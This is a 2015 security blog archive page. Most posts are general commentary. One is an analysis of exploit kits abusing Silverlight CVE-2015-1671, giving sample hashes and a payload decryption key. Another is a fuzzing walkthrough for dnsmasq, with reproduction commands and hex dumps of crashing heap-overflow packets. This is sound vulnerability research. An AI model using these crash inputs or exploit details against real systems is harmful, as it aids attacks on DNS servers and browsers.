Monthly Archives: July 2015

5 things you need to know to feel secure on Windows 10

New versions of windows used to be like an international holiday. PC users around the world celebrated by sharing what they liked — much of Windows 7 — and hated — all of Windows 8 and Vista — about the latest version of the world’s most popular operating system.

In this way, Windows 10 is the end of an era.

This is the “final version” of the OS. After you step up to this version, there will be continual updates but no new version to upgrade to. It’s the birth of “Windows as a service,” according to Verge.

So if you’re taking free upgrade to the new version, here are 5 things you need to know as you get used to the Windows that could be with you for the rest of your life.

1.Our Chief Research Office Mikko Hypponen noted Windows 10 still hides double extensions by default.
“Consider a file named doubleclick.pdf.bat. If ‘hide extensions’ is enabled, then this will be shown in File Explorer as ‘doubleclick.pdf’. You, the user, might go ahead and double-click on it, because it’s just a PDF, right?” F-Secure Security Advisor Tom Gaffney told Infosecurity Magazine.

“In truth, it’s a batch file, and whatever commands it contains will run when you double-click on it.”

Keep this in mind when you do — or DON’T — click on unknown files.

2. You could end up sharing your Wi-Fi connection with all your contacts.
There’s some debate about whether or not Windows 10’s Wi-Fi Sense shares your Wi-Fi connection with social media contacts by default, as Windows Phone has for a while now.

ZDNet‘s Ed Bott says no, noting that “you have to very consciously enable sharing for a network. It’s not something you’ll do by accident.”

Security expert Brian Krebs is more skeptical, given how we’re “conditioned to click ‘yes’ to these prompts.”

“In theory, someone who wanted access to your small biz network could befriend an employee or two, and drive into the office car park to be in range, and then gain access to the wireless network,” The Register‘s Simon Rockman wrote. “Some basic protections, specifically ones that safeguard against people sharing their passwords, should prevent this.”

Gaffney notes that Wi-Fi Sense is “open to accidental and deliberate misuse.”

So what to do?

Krebs recommends the following:

  1. Prior to upgrade to Windows 10, change your Wi-Fi network name/SSID to something that includes the terms “_nomap_optout”. [This is Windows opt-out for Wi-Fi Sense].
  2. After the upgrade is complete, change the privacy settings in Windows to disable Wi-Fi Sense sharing.

3. There are some privacy issues you should know about.
Basically “whatever happens, Microsoft knows what you’re doing,” The Next Web‘s Mic Wright noted.

Microsoft, according to its terms and conditions, can gather data “from you and your devices, including for example ‘app use data for apps that run on Windows’ and ‘data about the networks you connect to.’” And they can also disclose it to third parties as they feel like it.

Here’s a good look at the privacy and security settings you should check now.

Want a deep dive into the privacy issues? Visit Extreme Tech.

4. The new Action Center could be useful but it could get annoying.
This notification center makes Windows feel more like an iPhone — because isn’t the point of everything digital to eventually merge into the same thing?

BGR‘s Zach Epstein wrote “one location for all of your notifications is a welcome change.” But it can get overwhelming.

“In Windows 10, you can adjust notifications settings by clicking the notifications icon in the system tray,” he wrote. “The click All settings, followed by System and then Notifications & actions.”

5. Yes, F-Secure SAFE, Internet Security and Anti-Virus are all Windows 10 ready.

[Image by Brett Morrison | Flickr]

Happy Birthday – Smoothwall Celebrates 15 Years



Fifteen years ago, Lawrence Manning, a co-founder of Smoothwall, sat in his front room putting the final touches on a prototype for a special kind of software. 

This week, we
 spent some time catching up with Lawrence as he reflects on the 15 year progression of Smoothwall from a Open Source Linux project to the UK's number one web filter. 

SW: Where did the name Smoothwall come from?


LM: We had a couple of ideas for names. Since we were trying to popularize this through the Linux user groups, one of our ideas was to call it LUGWall. I’m glad we didn’t choose that! “SoHo” was a popular buzzword at the time, so we also had SoHo-Connect. And one of the other rejected names was WebbedWall, which I kind of like. The idea was also to have a “family” of projects one day, so we wanted a name that could be adapted. SmoothMail (email solution), and SmoothLinux which was going to be a desktop distribution based on Smoothwall ideas. Needless to say, nothing came of those ideas. There were rumours that the “Wall” part was named in honour of Larry Wall, the original author of the Perl programming language: the main language used in the project. I’m still not certain how much truth there is in this, but it’s a nice touch if it is true. Anyway, we went through a bunch of names and liked Smoothwall the best.

SW: What prompted you to start the first Open Source Smoothwall?

LM: The need for something to do! Not working at the time, I had energy to spend. And also the, maybe arrogant, belief that I could do something “better. There were alternatives around, not many, but some. Every one that we looked at was difficult to use, difficult to set up. The combination of those things was a pretty good driver.

SW: Why did you chose Open Source instead of Proprietary?

LM: Open Source is “free marketing”. I’m far from a believer that Open Source is the only way to make good software, but it is a great way to get people interested in what you are doing. In the early days of the project, I wrote all the code. But the fact it was Open Source (though it wasn’t run like a typical Open Source project) meant that people felt encouraged to tinker with it, and that led to ideas, and eventually code being contributed. This would not have happened if we’d kept the code closed; the interest just wouldn’t have been there.

SW: Why Linux?

LM: Well, there weren’t really any alternatives. I guess compared to the BSDs the driver support was better, but more than that, it was familiar. And we liked it of course. It was, and remains, the best platform for this kind of product, evidenced by the fact that everyone uses it in everything.

SW: What does it feel like to have invented a product that is responsible for 150 jobs?

LM: Obviously I’m very proud with what we have accomplished. What is especially gratifying, beyond the fact that we’ve created a company with, I believe it is right to say, a good ethical record, but also that it’s main business is keeping people safe.

SW: Did you imagine when you stated that Smoothwall would be where it is today?

LM: Nope! I honestly believed this thing would go on for about six months, and then I’d be forced back to Windows development work, with Smoothwall just being another little project to add to the list of little I’d worked on over the years.

SW: What's your favorite Star Trek character, or episode and why?

LM: 7 of 9? Actually it is Scotty. Series wise, The Original Series still stands the test of time. Within that series, I have too many favourite episodes to list. The newer stuff is good too of course, but you can’t beat TOS. Oh, and “Into Darkness” sucks!

SW: How did you meet George and Daniel?

George: I first met him at a motorway service station, near Exeter I think, to discuss commercial angles around Smoothwall. I was quite apprehensive because prior to it he’d sent me a big list of technical questions about Smoothwall, many of which I had no idea how to answer!

Daniel: Well, George headhunted him. Prior to actually meeting him I’d downloaded his DansGuardian software, which is basically what we wanted Daniel for, and played around with it, and of course had loads of questions. We got on great from the beginning, though I do remember being appalled with his first crack at a Guardian user interface!

SW: What's your best Smoothwall memory?

LM: There are many, of course. From a development point of view, I don’t believe I have ever been as productive as I was in the 3 months after the company was founded. In those 3 months I wrote the first versions of our VPN add-on (which is roughly what is sold today), a simple web filter module, and other things. Working only from one sentence requirements, on your own, having to design UIs yourself, having to actually get the thing to do what it has to do and having to test it all, is both intimidating and extremely rewarding. 

I remember writing the first version of a early add-on module called SmoothHost in this way, in an afternoon. Over the years we probably made a million pounds in revenue from that afternoon’s work. That kind of pure creative, seat of the pants way of working, I have to admit, I miss immensely.


Outside of the working environment, we’ve had some great company weekends. My favorite is probably the trip to Coniston in the Lake District. I think it was 2007. The company was still “innocent” then. It was a superb weekend.


Cyber Risks in a “Connected World” can take human lives and cause physical damage

I believe that the cyber risks are always grossly underestimated or trivialized. Over the last few years due to the rapid digitization of businesses, there has been a growing spate of cyber-attacks the world over. New start-ups offer a panacea of digitized solutions through cloud platforms. With limited budgets and a focus on perfecting their business model, companies need to navigate the tradeoff between the portions of their financial capital that goes into product security as against growing the business.

The next phase of digital evolution is themed “connected” – connected cars, connected homes, and connected humans (with intelligent body parts like wireless enabled pacemakers). As businesses race to bring new connected products or to make intelligent existing products using internet enabled sensors, wireless, cloud management and mobile apps, they still seem to not realize the criticality of fool proofing these systems against cyber threats.

The risks have now extended beyond purely financial and reputation losses to threats which affect human lives.  As the world digitizes, cyber threats that damage property, cause physical harm and even kill will materialize at a scale that is virtually impossible to contain.

An early indication is the recent recall of 1.4m vehicles by Fiat Chrysler Automobiles, the world's seventh largest automaker, to fix a vulnerability that allowed hackers to use the cellular network to electronically control vital functions.Functions, which when manipulated could shut the engine down while it was being driven down the highway, take control of the steering wheel and disable the brakes. Similar threats would materialize if hackers were able to find flaws in a wireless pacemakers or other such devices.

The core issue is twofold. Firstly as the connected world becomes individualized,  malicious hackers would find and exploit flaws in products used by individuals or organizations they target. Remotely engineered assassinations may just become a reality.

The second and more dangerous consequence, is of terrorist organizations utilizing vulnerabilities that affect products used by many, cars for example, to launch mass attacks which would instantly cause more damage and widespread chaos, than detonating explosives. Such remote attacks from the Internet will bypass all conventional border security measures.

In a digitized world, cybersecurity and safety become intrinsically linked and as new standards slowly evolve, an immediate concerted attempt must be made by companies to build secure products to protect naïve cyber citizens against all sort of risks.


For a cybercitizen, security should be under the hood, so as to speak. Cybercitizens are unable to determine the extent to which these products are safe to use. Besides building safe products, systems to securely and instantly plug vulnerabilities will need to be perfected.

What would real ‘cyber war’ look like?

In response to news that the secret records of more than 22 million Americans have been breached, possibly by attackers from China, you may have heard the loaded term being used to describe the unprecedented attack.

“Why are we ignoring a cyber Pearl Harbor?” a conservative columnist asked.

F-Secure Security Advisor Sean Sullivan joined other experts in explaining that while the Office of Personnel Management hack was a very big deal, it’s hyperbole to call it an act of war.

Sean argues that the term cyber war should be limited to cyber weapons that cause actual physical damage. It would have to break the so-called “kinetic barrier“.

There is no international treaty that defines online rules of engagement but he points to NATO’s Tallinn Manual on the International Law Applicable to Cyber Warfare, which attempts to apply existing laws to cyber warfare.

Cyber attacks present an even more vexing challenge in attributing the author of an attack than stateless terrorism. But regardless the author, any cyber attacks on a hospital, for instance, would be illegal under existing law.

Sullivan sees the OPM hack as more likely to be part of another governmental activity that predates the internet: espionage.

“Espionage can be a part of warfare, if you think they’re gathering that information for military defense purposes,” he said. “Or it can be counterintelligence.”

He suggests the OPM hack data could be used to find which Americans are, for instance, not working on diplomatic mission and thus might be intelligence. He notes that former NSA contractor Edward Snowden briefly worked at a U.S. embassy. The lack of a background check in that instance could suggest that he was working as a spy under a false identity.

There’s a difference between war and warfare, Sean notes.

“It could be China is interested in defensive capabilities,” he said. “It’s an aspect of warfare. It’s not war.”

If it were to transgress to the level of war, the results would be severe.

“We can assume that China is a rational actor,” Sean said. “It wants world power without wrecking the world economy. Military posturing is more likely.”

He suggests that the U.S. should be much more concerned about the protection of all of its digital data.

“I guarantee you that the IRS’ records are just as vulnerable,” he said, suggesting that the one thing that may be keeping taxpayers’ records safe is the government’s tendency to rely upon dated technology like magnetic tape.

And at least some powerful U.S. officials agree that more must be done to secure America’s private information. But don’t expect them to be satisfied with the same sort of restricted networks the private sector relies upon.

A bipartisan coalition of senators are backing new legislation that would give the Homeland Security secretary the authority “to detect intrusions on .gov domains and take steps similar to what the National Security Agency can do with the Pentagon,” according to Roll Call.

Ah, so more powers for the NSA.

Isn’t that always the endgame these days when the language of war being tossed around?

[Image by U.S. Naval War College | Flickr]

 

CVE-2015-1671 (silverlight up to 5.1.30514.0) and Exploit Kits



Patched with ms15-044 CVE-2015-1671 is described as TrueType Font Parsing Vulnerability.
Silverlight up to 5.1.30514.0 are affected, but note : most browser will warn that the plugin is outdated

Out of date Plugin protection in Chrome 39.0.2171.71
Out of date ActiveX controls blocking in Internet Explorer 11
(introduced in August 2014)



and also consider that Microsoft announced the end of Silverlight at beginning of the month.

Angler EK :
2015-07-21

Around the 1st of July some new Silverlight focused code appeared in Angler EK landing.
It even seems coders made some debug or something wrong as you could see this kind of popup several hours long on Angler EK.
Deofuscated snipet of Silverlight call exposed to Victims in Angler EK
2015-07-02
I failed trying to get something else than a 0 size silverlight calls.
I heard about filled calls from Eset and EKWatcher.
The exploit sent was 3fff76bfe2084c454be64be7adff2b87  and appears to be a variation of CVE-2015-1671 (Silverlight 5 before 5.1.40416.00).  I spent hours trying to get a full exploit chain....No luck. Only 0size calls.

But, it seems it's back today (or i get more lucky ? ) :

--
Disclaimer : many indicators are whispering it's the same variation of CVE-2015-1671, but I am still waiting for a strong confirmation
--

Silverlight 5.1.30514.0 exploited by Angler EK via CVE-2015-1671 in IE 11 on Windows 7
2015-07-21

Silverlight 5.1_10411.0 exploited by Angler EK via CVE-2015-1671 in Chrome 39 on Windows 7
2015-07-21

Silverlight 5.1.30514.0 exploited by Angler EK via CVE-2015-1671 in Firefox 38 on Windows 7
2015-07-21

Two x86 - x64 dll are encoded in the payload stream with XTea Key : m0boo69biBjSmd3p


Silverlight dll in DotPeek after Do4dot

Sample in those pass : ac05e093930662a2a2f4605f7afc52f2
(Out of topic payload is bedep which then gather an adfraud module - you have the XTea key if you want to extract)

Files: Fiddler (password is malware)
[Edit : 2015-07-26, has been spread to all Angler Threads]

Thanks for help/tips :
Eset, Microsoft, Horgh_RCEDarien Huss, Will Metcalf, EKWatcher.

Magnitude :
2015-07-28  has been spotted by Will Metcalf in Magnitude
It's a rip of Angler's one

Silverlight 5.1.30514.0 exploited by Magnitude
2015-08-29
Files: Fiddler (password is malware)


Read more :
CVE-2013-0074/3896 (Silverlight) integrates Exploit Kits - 2013-11-13


How to avoid your worst social media nightmare

There wouldn’t be 1.44 billion active users on Facebook if the risks outweighed the rewards.

Likewise, with more than a billion using a website that requires you to use your real identity to share our media, thoughts and feelings, we can’t expect there to be zero risks to social media.

The same way someone can study your driveway to find out when you’re not home, your profile can be stalked for insights into your life. Despite this, the worst most of us have had to deal with is being awkwardly contacted by people we’ve purposely kept out of our lives. Most of us will never have to deal with what female gamers were forced to endure when they ignored or rejected friend requests from a seventeen-year old resident of British Columbia.

He exposed their private secrets to the world, put their lives in danger and shut down Disneyland in the process,” CBC News’ Jason Proctor explains.

His alleged speciality was a combination of “doxing” and “swatting.”

“Doxing” has come to mean “using the internet to find and expose a target’s personal information,” which is technically legal, though against the terms and conditions of many sites, in most places. “Swatting,” which is “the faking emergency calls to trigger the deployment of SWAT teams to a victim’s house,” is not legal anywhere.

What can you do to prevent this kind of behavior? If the perpetrator is fixated enough, not much.

“You’re not going to stop a dedicated attacker from doxxing you,” F-Secure Security Advisor Sean Sullivan told me. “Get offline for that.”

Any threat of harm online should be taken seriously. Take a screenshot and report it to both the platform where the threat was posted and the appropriate law enforcement agency.

But the good news is that most perpetrators are not clever and lawless enough to go to the extremes this young man was. And even if they were, most of us have gotten pretty good at not oversharing after more than a decade of living in a world where Google makes researching people’s lives easy.

“The world has gotten smaller because of the internet, not just social media,” Sean explained.

If you Google your name along with the name of the city you live in, for instance, you may be disturbed at what you find. And even if you are good at limiting what’s posted online about you along with what you share and with whom, you still may be vulnerable.

“Oversharing is not the problem,” he said. “Security questions are.”

The answers to many of the security questions attackers could use to infiltrate your accounts and dig out private information from you or your friends are based on “trivia” from your life, like what school you attended. Such information can be easily Googled.

What can you do about that?

“Consider lying,” Sean said.

But that does create a problem. As Mark Twain said, “If you tell the truth, you don’t have to remember anything.” If you lie on your security questions, you’ll have to remember those lies.

Sean’s suggestion, “Use a Password Manager like F-Secure KEY that has a notes section.”

Then you can record your fibs and protect your strong, unique passwords that are — along with updates system and security software and a reliable VPN — essential for keeping intruders from accessing your accounts.

“Now would be a good time update your security questions.”

[Image by Secretive Ireland | Flickr]

How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq

If you know me, you know that I love DNS. I'm not exactly sure how that happened, but I suspect that Ed Skoudis is at least partly to blame.

Anyway, a project came up to evaluate dnsmasq, and being a DNS server - and a key piece of Internet infrastructure - I thought it would be fun! And it was! By fuzzing in a somewhat creative way, I found a really cool vulnerability that's almost certainly exploitable (though I haven't proven that for reasons that'll become apparent later).

Although I started writing an exploit, I didn't finish it. I think it's almost certainly exploitable, so if you have some free time and you want to learn about exploit development, it's worthwhile having a look! Here's a link to the actual distribution of a vulnerable version, and I'll discuss the work I've done so far at the end of this post.

You can also download my branch, which is similar to the vulnerable version (branched from it), the only difference is that it contains a bunch of fuzzing instrumentation and debug output around parsing names.

dnsmasq

For those of you who don't know, dnsmasq is a service that you can run that handles a number of different protocols designed to configure your network: DNS, DHCP, DHCP6, TFTP, and more. We'll focus on DNS - I fuzzed the other interfaces and didn't find anything, though when it comes to fuzzing, absence of evidence isn't the same as evidence of absence.

It's primarily developed by a single author, Simon Kelley. It's had a reasonably clean history in terms of vulnerabilities, which may be a good thing (it's coded well) or a bad thing (nobody's looking) :)

At any rate, the author's response was impressive. I made a little timeline:

  • May 12, 2015: Discovered
  • May 14, 2015: Reported to project
  • May 14, 20252015: Project responded with a patch candidate
  • May 15, 2015: Patch committed

The fix was actually pushed out faster than I reported it! (I didn't report for a couple days because I was trying to determine how exploitable / scary it actually is - it turns out that yes, it's exploitable, but no, it's not scary - we'll get to why at the end).

DNS - the important bits

The vulnerability is in the DNS name-parsing code, so it makes sense to spend a little time making sure you're familiar with DNS. If you're already familiar with how DNS packets and names are encoded, you can skip this section.

Note that I'm only going to cover the parts of DNS that matter to this particular vulnerability, which means I'm going to leave out a bunch of stuff. Check out the RFCs (rfc1035, among others) or Wikipedia for complete details. As a general rule, I encourage everybody to learn enough to manually make requests to DNS servers, because that's an important skill to have - plus, it's only like 16 bytes to remember. :)

DNS, at its core, is actually rather simple. A client wants to look up a hostname, so it sends a DNS packet containing a question to a DNS server (on UDP port 53, normally, but TCP can be used as well). Some magic happens, involving caches and recursion, then the server replies with a DNS message containing the original question, and zero or more answers.

DNS packet structure

The structure of a DNS packet is:

  • (int16) transaction id (trn_id)
  • (int16) flags (which include QR [query/response], opcode, RD [recursion desired], RA [recursion available], and probably other stuff that I'm forgetting)
  • (int16) question count (qdcount)
  • (int16) answer count (ancount)
  • (int16) authority count (nscount)
  • (int16) additional count (arcount)
  • (variable) questions
  • (variable) answers
  • (variable) authorities
  • (variable) additionals

The last four fields - questions, answers, authorities, and additionals - are collectively called "resource records". Resource records of different types have different properties, but we aren't going to worry about that. The general structure of a question record is:

  • (variable) name (the important part!)
  • (int16) type (A/AAAA/CNAME/etc.)
  • (int16) class (basically always 0x0001, for Internet addresses)

DNS names

Questions and answers typically contain a domain name. A domain name, as we typically see it, looks like:

this.is.a.name.skullseclabs.org

But in a resource records, there aren't actually any periods, instead, each field is preceded by its length, with a null terminator (or a zero-length field) at the end:

\x04this\x02is\x01a\x04name\x0cskullseclabs\x03org\x00

The maximum length of a field is 63 - 0x3f - bytes. If a field starts with 0x40, 0x80, 0xc0, and possibly others, it has a special meaning (we'll get to that shortly).

Questions and answers

When you send a question to a DNS server, the packet looks something like:

  • (header)
  • question count = 1
  • question 1: ANY record for skullsecurity.org?

and the response looks like:

  • (header)
  • question count = 1
  • answer count = 11
  • question 1: ANY record for "skullsecurity.org"?
  • answer 1: "skullsecurity.org" has a TXT record of "oh hai NSA"
  • answer 2: "skullsecurity.org" has a MX record for "ASPMX.L.GOOGLE.com".
  • answer 3: "skullsecurity.org" has a A record for "206.220.196.59"
  • ...

(yes, those are some of my real records :) )

If you do the math, you'll see that "skullsecurity.org" takes up 18 bytes, and would be included in the response packet 12 times, counting the question, which means we're effectively wasting 18 * 11 or close to 200 bytes. In the old days, 200 bytes were a lot. Heck, in the new days, 200 bytes are still a lot when you're dealing with millions of requests.

Record pointers

Remember how I said that name fields starting with numbers above 63 - 0x3f - are special? Well, the one we're going to pay attention to is 0xc0.

0xc0 effectively means, "the next byte is a pointer, starting from the first byte of the packet, to where you can find the rest of the name".

So typically, you'll see:

  • 12-bytes header (trn_id + flags + counts)
  • question 1: ANY record for "skullsecurity.org"
  • answer 1: \xc0\x0c has a TXT record of "oh hai NSA"
  • answer 2: \xc0\x0c ...

"\xc0" indicates a pointer is coming, and "\x0c" says "look 0x0c (12) bytes from the start of the packet", which is immediately after the header. You can also use it as part of a domain name, so your answer could be "\x03www\xc0\x0c", which would become "www.skullsecurity.org" (assuming that string was 12 bytes from the start).

This is only mildly relevant, but a common problem that DNS parsers (both clients and servers) have to deal with is the infinite loop attack. Basically, the following packet structure:

  • 12-byte header
  • question 1: ANY record for "\xc0\x0c"

Because question 1 is self-referential, it reads itself over and over and the name never finishes parsing. dnsmasq solves this by limiting reference to 256 hops - that decision prevents a denial-of-service attack, but it's also what makes this vulnerability likely exploitable. :)

Setting up the fuzz

All right, by now we're DNS experts, right? Good, because we're going to be building a DNS packet by hand right away!

Before we get to the actual vulnerability, I want to talk about how I set up the fuzzing. Being a networked application, it makes sense to use a network fuzzer; however, I really wanted to try out afl-fuzz from lcamtuf, which is a file-format fuzzer.

afl-fuzz works as an intelligent file-format fuzzer that will instrument the executable (either by specially compiling it or using binary analysis) to determine whether or not it's hitting "new" code on each execution. It optimizes each cycle to take advantage of all the new code paths it's found. It's really quite cool!

Unfortunately, DNS doesn't use files, it uses packets. But because the client and server each process only one single packet at a time, I decided to modify dnsmasq to read a packet from a file, parse it (either as a request or a response), then exit. That made it possible to fuzz with afl-fuzz.

Unfortunately, that was actually pretty non-trivial. The parsing code and networking code were all mixed together. I ended up re-implementing "recv_msg()" and "recv_from()", among other things, and replacing their calls to those functions. That could also be done with a LD_PRELOAD hook, but because I had source that wasn't necessary. If you want to see the changes I made to make it possible to fuzz, you can search the codebase for "#ifdef FUZZ" - I made the fuzzing stuff entirely optional.

If you want to follow along, you should be able to reproduce the crash with the following commands (I'm on 64-bit Linux, but I don't see why it wouldn't work elsewhere):

$ git clone https://github.com/iagox86/dnsmasq-fuzzing
Cloning into 'dnsmasq-fuzzing'...
[...]
$ cd dnsmasq-fuzzing/
$ CFLAGS=-DFUZZ make -j10
[...]
$ ./src/dnsmasq -d --randomize-port --client-fuzz fuzzing/crashes/client-heap-overflow-1.bin
dnsmasq: started, version  cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth DNSSEC loop-detect inotify
dnsmasq: reading /etc/resolv.conf
[...]
Segmentation fault

Warning: DNS is recursive, and in my fuzzing modifications I didn't disable the recursive requests. That means that dnsmasq will forward some of your traffic to upstream DNS servers, and that traffic could impact those severs (and I actually proved that, by accident; but we won't get into that :) ).

Doing the actual fuzzing

Once you've set up the program to be fuzzable, fuzzing it is actually really easy.

First, you need a DNS request and response - that way, we can fuzz both sides (though ultimately, we don't need to for this particular vulnerability, since both the request and response parse names).

If you've wasted your life like I have, you can just write the request by hand and send it to a server, then capture the response:

$ mkdir -p fuzzing/client/input/
$ mkdir -p fuzzing/client/output/
$ echo -ne "\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x06google\x03com\x00\x00\x01\x00\x01" > fuzzing/client/input/request.bin
$ mkdir -p fuzzing/server/input/
$ mkdir -p fuzzing/server/output/
$ cat request.bin | nc -vv -u 8.8.8.8 53 > fuzzing/server/input/response.bin

To break down the packet, in case you're curious

  • "\x12\x34" - trn_id - just a random number
  • "\x01\x00" - flags - I think that flag is RD - recursion desired
  • "\x00\x01" - qdcount = 1
  • "\x00\x00" - ancount = 0
  • "\x00\x00" - nscount = 0
  • "\x00\x00" - arcount = 0
  • "\x06google\x03com\x00" - name = "google.com"
  • "\x00\x01" - type = A record
  • "\x00\x01" - class = IN (Internet)

You can verify it's working by hexdump'ing the response:

$ hexdump -C response.bin
00000000  12 34 81 80 00 01 00 0b  00 00 00 00 06 67 6f 6f  |.4...........goo|
00000010  67 6c 65 03 63 6f 6d 00  00 01 00 01 c0 0c 00 01  |gle.com.........|
00000020  00 01 00 00 01 2b 00 04  ad c2 21 67 c0 0c 00 01  |.....+....!g....|
00000030  00 01 00 00 01 2b 00 04  ad c2 21 66 c0 0c 00 01  |.....+....!f....|
00000040  00 01 00 00 01 2b 00 04  ad c2 21 69 c0 0c 00 01  |.....+....!i....|
00000050  00 01 00 00 01 2b 00 04  ad c2 21 68 c0 0c 00 01  |.....+....!h....|
00000060  00 01 00 00 01 2b 00 04  ad c2 21 63 c0 0c 00 01  |.....+....!c....|
00000070  00 01 00 00 01 2b 00 04  ad c2 21 61 c0 0c 00 01  |.....+....!a....|
00000080  00 01 00 00 01 2b 00 04  ad c2 21 6e c0 0c 00 01  |.....+....!n....|
00000090  00 01 00 00 01 2b 00 04  ad c2 21 64 c0 0c 00 01  |.....+....!d....|
000000a0  00 01 00 00 01 2b 00 04  ad c2 21 60 c0 0c 00 01  |.....+....!`....|
000000b0  00 01 00 00 01 2b 00 04  ad c2 21 65 c0 0c 00 01  |.....+....!e....|
000000c0  00 01 00 00 01 2b 00 04  ad c2 21 62              |.....+....!b|

Notice how it starts with "\x12\x34" (the same transaction id I sent), has a question count of 1, has an answer count of 0x0b (11), and contains "\x06google\x03com\x00" 12 bytes in (that's the question). That's basically what we discussed earlier. But the important part is, it has "\xc0\x0c" throughout. In fact, every answer starts with "\xc0\x0c", because every answer is to the first and only question.

That's exactly what I was talking about earlier - each of those 11 instances of "\xc0\x0c" saved about 10 bytes, so the packet is 110 bytes shorter than it would otherwise have been.

Now that we have a base case for both the client and the server, we can compile the binary with afl-fuzz's instrumentation. Obviously, this command assumes that afl-fuzz is stored in "~/tools/afl-1.77b" - change as necessary. If you're trying to compile the original code, it doesn't accept CC= or CFLAGS= on the commandline unless you apply this patch first.

Here's the compile command:

$ CC=~/tools/afl-1.77b/afl-gcc CFLAGS=-DFUZZ make -j20

and run the fuzzer:

$ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/client/input/ -o fuzzing/client/output/ ./dnsmasq --client-fuzz=@@

you can simultaneously fuzz the server, too, in a different window:

$ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/server/input/ -o fuzzing/server/output/ ./dnsmasq --server-fuzz=@@

then let them run a few hours, or possibly overnight.

For fun, I ran a third instance:

$ mkdir -p fuzzing/hello/input
$ echo "hello" > fuzzing/hello/input/hello.bin
$ mkdir -p fuzzing/hello/output
$ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/fun/input/ -o fuzzing/fun/output/ ./dnsmasq --server-fuzz=@@

...which, in spite of being seeded with "hello" instead of an actual DNS packet, actually found an order of magnitude more crashes than the proper packets, except with much, much uglier proofs of concept.. :)

Fuzz results

I let this run overnight, specifically to re-create the crashes for this blog. In the morning (after roughly 20 hours of fuzzing), the results were:

  • 7 crashes starting with a well formed request
  • 10 crashes starting from a well formed response
  • 93 crashes starting from "hello"

You can download the base cases and results here, if you want.

Triage

Although we have over a hundred crashes, I know from experience that they're all caused by the same core problem. But not knowing that, I need to pick something to triage! The difference between starting from a well formed request and starting from a "hello" string is noticeable... to take the smallest PoC from "hello", we have:

crashes $ hexdump -C id\:000024\,sig\:11\,src\:000234+000399\,op\:splice\,rep\:16
00000000  68 00 00 00 00 01 00 02  e8 1f ec 13 07 06 e9 01  |h...............|
00000010  67 02 e8 1f c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |g...............|
00000020  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
00000030  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 b8 c0 c0 c0 c0 c0  |................|
00000040  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
00000050  c0 c0 c0 c0 c0 c0 c0 c0  c0 af c0 c0 c0 c0 c0 c0  |................|
00000060  c0 c0 c0 c0 cc 1c 03 10  c0 01 00 00 02 67 02 e8  |.............g..|
00000070  1f eb ed 07 06 e9 01 67  02 e8 1f 2e 2e 10 2e 2e  |.......g........|
00000080  00 07 2e 2e 2e 2e 00 07  01 02 07 02 02 02 07 06  |................|
00000090  00 00 00 00 7e bd 02 e8  1f ec 07 07 01 02 07 02  |....~...........|
000000a0  02 02 07 06 00 00 00 00  02 64 02 e8 1f ec 07 07  |.........d......|
000000b0  06 ff 07 9c 06 49 2e 2e  2e 2e 00 07 01 02 07 02  |.....I..........|
000000c0  02 02 05 05 e7 02 02 02  e8 03 02 02 02 02 80 c0  |................|
000000d0  c0 c0 c0 c0 c0 c0 c0 c0  c0 80 1c 03 10 80 e6 c0  |................|
000000e0  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
000000f0  c0 c0 c0 c0 c0 c0 b8 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
00000100  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
00000110  c0 c0 c0 c0 c0 af c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
00000120  cc 1c 03 10 c0 01 00 00  02 67 02 e8 1f eb ed 07  |.........g......|
00000130  00 95 02 02 02 05 e7 02  02 10 02 02 02 02 02 00  |................|
00000140  00 80 03 02 02 02 f0 7f  c7 00 80 1c 03 10 80 e6  |................|
00000150  00 95 02 02 02 05 e7 67  02 02 02 02 02 02 02 00  |.......g........|
00000160  00 80                                             |..|

Or, if we run afl-tmin on it to minimize:

00000000  30 30 00 30 00 01 30 30  30 30 30 30 30 30 30 30  |00.0..0000000000|
00000010  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
00000020  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
00000030  30 30 30 30 30 30 30 30  30 30 30 30 30 c0 c0 30  |0000000000000..0|
00000040  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
00000050  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
00000060  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
00000070  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
00000080  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
00000090  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
000000a0  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
000000b0  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
000000c0  05 30 30 30 30 30 c0 c0

(note the 0xc0 at the end - our old friend - but instead of figuring out "\xc0\x0c", the simplest case, it found a much more complex case)

Whereas here are all four crashing messages from the valid request starting point:

crashes $ hexdump -C id\:000000\,sig\:11\,src\:000034\,op\:flip2\,pos\:24
00000000  12 34 01 00 00 01 00 00  00 00 00 00 06 67 6f 6f  |.4...........goo|
00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
0000001c
crashes $ hexdump -C id\:000001\,sig\:11\,src\:000034\,op\:havoc\,rep\:4
00000000  12 34 08 00 00 01 00 00  e1 00 00 00 06 67 6f 6f  |.4...........goo|
00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
0000001c
